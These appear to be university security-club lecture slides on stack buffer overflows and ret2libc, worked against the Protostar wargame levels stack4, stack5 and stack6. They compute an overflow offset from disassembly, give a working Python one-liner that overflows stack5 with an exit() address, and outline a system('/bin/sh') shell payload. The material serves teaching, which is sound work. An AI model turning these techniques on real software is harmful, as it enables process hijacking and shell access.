UOSec week6: Ret2liberty Ret2libc

Frank farana@uoregon.edu IRC kee
Adam pond2@uoregon.edu IRC xe0
irc.freenode.net #0x4f
Agenda

- Symantec trip
- BKP bostonkeyparty.net
- Oregon CTF http://www.oregonctf.org/en/
- Questions from last time
- Intro to more complex payloads with stack4
- Exercise1
- Intro to ret2libc
- Exercise2
### Review of stack4

- Lets calculate the offset

<table>
<thead>
<tr>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>push ebp</td>
</tr>
<tr>
<td>mov ebp, esp</td>
</tr>
<tr>
<td>and esp, 0xffffffff0</td>
</tr>
<tr>
<td>sub esp, 0x50</td>
</tr>
<tr>
<td>lea eax, [esp +0x10]</td>
</tr>
<tr>
<td>mov DWORD ptr [esp], eax</td>
</tr>
<tr>
<td>call gets()</td>
</tr>
<tr>
<td>leave</td>
</tr>
<tr>
<td>ret</td>
</tr>
</tbody>
</table>
Review of stack4

- Lets calculate the offset
- \([\text{esp}+0x10] \rightleftharpoons \text{start of buffer}\)

```assembly
push ebp
mov ebp, esp
and esp, 0xffffffff0
sub esp, 0x50
lea eax, [esp +0x10]
mov DWORD ptr [esp], eax
call gets()
leave
ret
```
Review of stack4

- Lets calculate the offset
- \([\text{esp+0x10}] \text{---start of buffer}\)
- 0x50 \text{---end of buffer}\)
● Lets calculate the offset
● \([\text{esp}+0x10]\) \(\text{---start of buffer}\)
● \(0x50\) \(\text{---end of buffer}\)
● \(0x50-0x10 = 0x40 = 64\text{bytes}\)
Review of stack4

- Let's calculate the offset
- `[esp+0x10] <-- start of buffer`
- `0x50 <-- end of buffer`
- `0x50-0x10 = 0x40 = 64bytes`
- `bitmask 0xffffffff0 and esp = 8bytes`

<table>
<thead>
<tr>
<th>push ebp</th>
</tr>
</thead>
<tbody>
<tr>
<td>mov ebp, esp</td>
</tr>
<tr>
<td>and esp, 0xffffffff0</td>
</tr>
<tr>
<td>sub esp, 0x50</td>
</tr>
<tr>
<td>lea eax, [esp +0x10]</td>
</tr>
<tr>
<td>mov DWORD ptr [esp], eax</td>
</tr>
<tr>
<td>call gets()</td>
</tr>
<tr>
<td>leave</td>
</tr>
<tr>
<td>ret</td>
</tr>
</tbody>
</table>
Review of stack4

- Lets calculate the offset
- `[esp+0x10] <---start of buffer`
- `0x50 <---end of buffer`
- `0x50-0x10 = 0x40 = 64bytes`
- bitmask `0xffffffff0` and `esp = 8bytes`
- `push ebp = 4 bytes`

```
push ebp
mov ebp, esp
and esp, 0xffffffff0
sub esp, 0x50
lea eax, [esp+0x10]
mov DWORD ptr [esp], eax
call gets()
leave
ret
```
Review of stack4

- Let's calculate the offset
- \([esp+0x10]\) \(\rightarrow\) start of buffer
- \(0x50\) \(\rightarrow\) end of buffer
- \(0x50-0x10 = 0x40 = 64\) bytes
- bitmask \(0xffffffff0\) and \(esp = 8\) bytes
- push ebp = 4 bytes
- total offset = \(64+8+4 = 76\)

```
push ebp
mov ebp, esp
and esp, 0xffffffff0
sub esp, 0x50
lea eax, [esp+0x10]
mov DWORD ptr [esp], eax
call gets()
leave
ret
```
Review of stack4

- payload = 76bytes junk + win() addr
- Problem is we segfault. This isn’t good
- Question, how do we avoid segfault?

```
push ebp
mov ebp, esp
and esp, 0xffffffff0
sub esp, 0x50
lea eax, [esp +0x10]
mov DWORD ptr [esp], eax
call gets()
leave
ret
```
Review of stack4

- Let's imagine our stack

```
\begin{tabular}{|l|}
\hline
Return Address \\
Saved ebp \\
Char buffer [64] \\
Args to gets() \\
Return Address \\
Saved ebp \\
local args \\
args to functions \\
… \\
\hline
\end{tabular}
```
Review of stack4

- After we overflow 76 bytes of junk
Review of stack4

- After we write addr of win()
Review of stack4

- Win() stack frame

- Win() addr
- AAAA
- ret address
- old ebp
- local args win()
- printf call
- ...
- esp
- Current ebp
Review of stack4

- So, we can see the issue
- when the win() function returns
- it will jump previous eip from main
- which is 0x00000000
- hence the segfault
Review of stack4

- Lets try adding a call to exit after our call to win
- payload = 76 ‘A’ + addr to win() + addr to exit()
Review of stack4
Exercise 1 Stack5

- Goal is to execute some ret2libc attack on stack5; this can be as simple as calling exit() or to pop a shell.
Answer Stack5 ret2libc

- python -c "print 'A'*76 + '\xc0\x60\xec\xb7' " | ./stack5

76byte junk + exit() address
Intro to ret2libc

- A ret2libc (return to libc, or return to the C library) attack is one in which the attacker does not require any shellcode to take control of a target, vulnerable process.
- It is used to bypass DEP (non-executable stack) protection.
Basic idea is that most C programs will be compiled with libc and thus you’ll have access to these functions (like printf, gets, system, exit, etc).

Even though stack/heap is nx, libc programs loaded in memory can be used.

Thus our stack4 example was a version of ret2libc.
Using ret2libc

- One interesting thing that ret2libc can do is to actually execute a shell
- payload would look like this: junk to overwrite ebp+address to system() + 4bytes junk or address to exit() + address to “/bin/sh”
- of course “/bin/sh” has to be loaded in memory somewhere
Exercise 2 Stack6

- Execute a shell

Note: there are multiple ways to do this for purposes of shell popping, you can use an environmental variable to load "/bin/sh" and search for it. A helpful command to search for environmental variable address in gdb is 
  
x/32s *environ